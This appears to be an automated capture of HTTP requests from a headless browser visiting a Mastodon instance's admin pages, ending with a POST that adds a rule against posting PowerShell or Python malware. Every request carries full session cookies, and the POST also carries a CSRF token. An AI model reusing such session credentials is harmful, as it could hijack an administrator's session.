||||||
|
{"method": "GET", "target": "/admin/webhooks/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjAwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--00b3e23edac7d3eda1604efa0f833284716e3bfb; _mastodon_session=HoxlQZhb47uRosruBqkyAs2lvo7AIaf7xmrk8AVn0q2eJ5WEskKmxnY5b9xofI1xl8JCqaWVbcOaTNHFZSG8QE3YkSUdhMOVo2Kx2MFSJ4x2nfcfp1mBwXE2KVkOb0CFL5EpGrI7G88SlVMTLWkvbPS3CLn03TM3mRWElgZlmAZd4TnjJjKx83FMgb9JHfPGAcpqf3bpewnfMRUB5wbAX0rZDzZg5ueA1DW19kNO8ZgsiuM%2FG%2BsYmC2tjVb6zwvy9aC9MDvB83qfSSnGDZySFaqPMuGi0m8BF6qirE9T5mZFY6PHv0vc1gXCv8fLW%2B3GgeeYHAuKNwibcxBj2DLFt8w4KznE%2FhHaOYv75%2Blkyx1YQYyTfQjgKQQGMxjjH9gezFHUhna99ZTh--G0vHxNdSQOUeajTH--cXsF%2BtwTylT1wt75SOfsEw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/mode-BXhrwYK6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--11c18a1bc19c76b955d882ed276387788bc3ac8c; _mastodon_session=VeTbqqxP7FQCarkc5KvbXF0VDqqCj%2BvLEs8f%2FsokymF7lKVgbNrRMADt8xF7NKuRUBRtlaQsgY7z%2FTpi6b3QQ%2BlB5TfAQ9sXTEPb7sle0deRilv2CiV3ig8HV558kUCuyeJRTGn4%2BZpEpzrarngZizF6Kt5PMHUV5IZtX17cUr%2FeMdWbviUZlSvCAFobxQDfTLliJ%2BD50seUFuDeFf7H3sklqItRttq7yXZGS1yGBbHC1a3m46LPYxcA%2B1knOQ3gYAGgxFBallL0%2FE1eSN6yEEvbayaEaeITyEgdi%2Fke9AJ%2B1Uejo93n2oDlt36PlBVbyGooPu4K74aXunQktfxMTfxeGiqQ%2BXHuhdhpmYoKkoLz5%2FVpBy3C6VGgc%2FIU1m%2BSoILO9i%2BIksRr--Md1GA4%2F%2B3JhDBlIO--uIlLRzZSM5bXfJNcEdwt1Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/tags?name=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--11c18a1bc19c76b955d882ed276387788bc3ac8c; _mastodon_session=VeTbqqxP7FQCarkc5KvbXF0VDqqCj%2BvLEs8f%2FsokymF7lKVgbNrRMADt8xF7NKuRUBRtlaQsgY7z%2FTpi6b3QQ%2BlB5TfAQ9sXTEPb7sle0deRilv2CiV3ig8HV558kUCuyeJRTGn4%2BZpEpzrarngZizF6Kt5PMHUV5IZtX17cUr%2FeMdWbviUZlSvCAFobxQDfTLliJ%2BD50seUFuDeFf7H3sklqItRttq7yXZGS1yGBbHC1a3m46LPYxcA%2B1knOQ3gYAGgxFBallL0%2FE1eSN6yEEvbayaEaeITyEgdi%2Fke9AJ%2B1Uejo93n2oDlt36PlBVbyGooPu4K74aXunQktfxMTfxeGiqQ%2BXHuhdhpmYoKkoLz5%2FVpBy3C6VGgc%2FIU1m%2BSoILO9i%2BIksRr--Md1GA4%2F%2B3JhDBlIO--uIlLRzZSM5bXfJNcEdwt1Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/reply-NI2DkwdJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/components-BM4_xVIg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/profile", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/render-DgEIfTde.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/profile", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMDIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--97d4d3c3fb39609736a7956063b81c57ed6d0340; _mastodon_session=gYT8mIwszZDbSN1gdFwY9Q1xZf%2FJMMEVWOq%2BvY%2BiaN1CFdxOSUNQMBNnaZxHwFKd9HSxn9a1T24fT9j0jcoKaZMAZdZQDOZNMnoYBpm5q1SzaGvShbOSYRc89bhWSZMOm%2Fw3pIAhyVGpLr4BL0PwZDefQBUzyxXQzbuPVXE2LLGd7V54vId0DEhv0n5o6WikucDYiyF6BFHj8UGP7MMQuELYs4KLwoGRJJNKl%2BR6ae%2FcUMf95rMUiwoN1%2BtDfC%2FjgZjaxOQhM%2Fh%2BQ0hqOnnogm2HkAV0uBbnXSBKaFdmjLK6vIA4IqcGYLpn8GpMLXkoScvGBfGGK0Xv5CGeLt%2Fp2%2Fb16f81vkYFbmyMlkZ7uNF%2FP6GWP1KiUmKtAlqNPJjdqtn0hSCUK7iP--0T28CR6K692tMMtf--RTuRQddKkjBXPCQHyy0XMg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/admin-gQ_AIoJT.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/rules", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--203c40bb381615d05f03a2f8a85e9fcc7e6b7270; _mastodon_session=vpjeH%2Bcg9tUjebhrSEwZuhDq3n80g8YMpXP6KDWyO%2B4g%2B9em9rT8gpWm6kz%2FIG5zh%2FHg4fYY4WjjSJupw5bjait4MINeSkEsk%2BKIcI4l%2BptzjTehWFVgxAMrSivMOxD5a6oQICl%2BhV7ZcA0mTJPHVk9EfiQvz7s44lSCvevimOG337bQWXgAjA8Wed3XAsB980n7mPnaf%2B%2F0w43PZfGJzuuJM2tQu44yyQr86O6dib490mLKM0PpQlQkt7Ci4g0%2Br14723bsqTLoMh0Lagx4dQKlUQ8qXPyziYf01nP0s7ZmCROmDcRGjE5GfISB2tuGpAi5yd9RVxpmESRl3L4xy%2FYBsSb0J49Vw0koSjKxbTDJGcOd%2Fk1X%2FGfumGVvK19yOjIM%2F%2FBeUmQQ--BycggxXUpL95VeKN--fGEvXkIXSWu0YcTmKu4STw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/rules/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--203c40bb381615d05f03a2f8a85e9fcc7e6b7270; _mastodon_session=vpjeH%2Bcg9tUjebhrSEwZuhDq3n80g8YMpXP6KDWyO%2B4g%2B9em9rT8gpWm6kz%2FIG5zh%2FHg4fYY4WjjSJupw5bjait4MINeSkEsk%2BKIcI4l%2BptzjTehWFVgxAMrSivMOxD5a6oQICl%2BhV7ZcA0mTJPHVk9EfiQvz7s44lSCvevimOG337bQWXgAjA8Wed3XAsB980n7mPnaf%2B%2F0w43PZfGJzuuJM2tQu44yyQr86O6dib490mLKM0PpQlQkt7Ci4g0%2Br14723bsqTLoMh0Lagx4dQKlUQ8qXPyziYf01nP0s7ZmCROmDcRGjE5GfISB2tuGpAi5yd9RVxpmESRl3L4xy%2FYBsSb0J49Vw0koSjKxbTDJGcOd%2Fk1X%2FGfumGVvK19yOjIM%2F%2FBeUmQQ--BycggxXUpL95VeKN--fGEvXkIXSWu0YcTmKu4STw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/favicon-32x32-CiQz7Niw.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=AL3VcyLj1n0BbLqghV2FnjedsGcBaO6YXBxxxJJ%2FPljYuYRlCKgWyAnPpSRKdxRLqPvWnppICtuHPIvFTj7B3Hon4UfHVayw%2FIOxNtiV9%2FPPhW%2FwBwpoK2AztZyL%2BnzvnS2ZKnhNKYctJHD0C4rREGzKTOxgUR3a5gCHuBfBE6ZUAWYXUrZZURz0%2F%2BDnKXDA6noWGxv0NlFoOyqGcLj3QmJQL6LvqbeFt%2BdVuJU7mvrVd%2Fz4ukC%2BUOaZJyJQKwps1y6yAjBvPyenZ95GeVHvMtXn16n5MmFNjQ%3D%3D--rXOV4nzcMvb2oI%2FF--1fhYl%2FgtYiKJGX%2Brxz%2BUtA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/media_modal-BzzTvu5_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/modulepreload-polyfill-P2Xu9kJm.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/packs/utils-B19lL5A9.js", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/rules/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/rules/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzMuMzY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c1d98ce73d44fd31d5fd4635f301c3fd6aa1bb44; _mastodon_session=p6m93PIEFHVfOXOxCkbSUpYq9OUwJsLfi78lVaQvt1B325f7knpF75ttosgaEgrww64ySYCjldaKF134ao0aPwWVSj9zAgbNcRWrx%2BnzosuwmzT3zx%2B1%2BYXEKl0qTxpO2oIzNiRsZChLo30ob5dgfApaaEFJ7NFi6OdAMVpPWx8N23MB9iaJgTcYhZBt9GQPIY3KkYU7yoDKr2zicUVWZZKSgBrhZPI9tg9j1Ek%2BJlXcWokNT4tOvfGuI8qODxC90jOWyeBUbN%2F8lm6n5ttL1A7DiwJU7m4iYAFfLnLlTpYNqaHr3wSkXZ1saW2b0rSkSBXBNhQfmcnrwhtYTo7hBEvUXAdPVuTMlWSbnUdhVqXCLHDJLPKJoKrmDPFjb8h7AKFBSeKZlj%2FB--kjxBhmr8%2FlasSzrE--s1SnunCNfFFz%2Fvk0EQKG%2BA%3D%3D"], "body": "authenticity_token=XRgCXMq0ZnSnqcNY4B_FSTaacGg5gAbsAW9sxBm4eNUlzmuYvSnnRBjePwB_w8vXeX7eGL9onXljVnIFxPNuLw&rule%5Btext%5D=No+posting+of+powershell+or+python3+malware&rule%5Bhint%5D=Explaining+ls+-la+and+.htaccess+is+fine&button="}
|
||||||
|
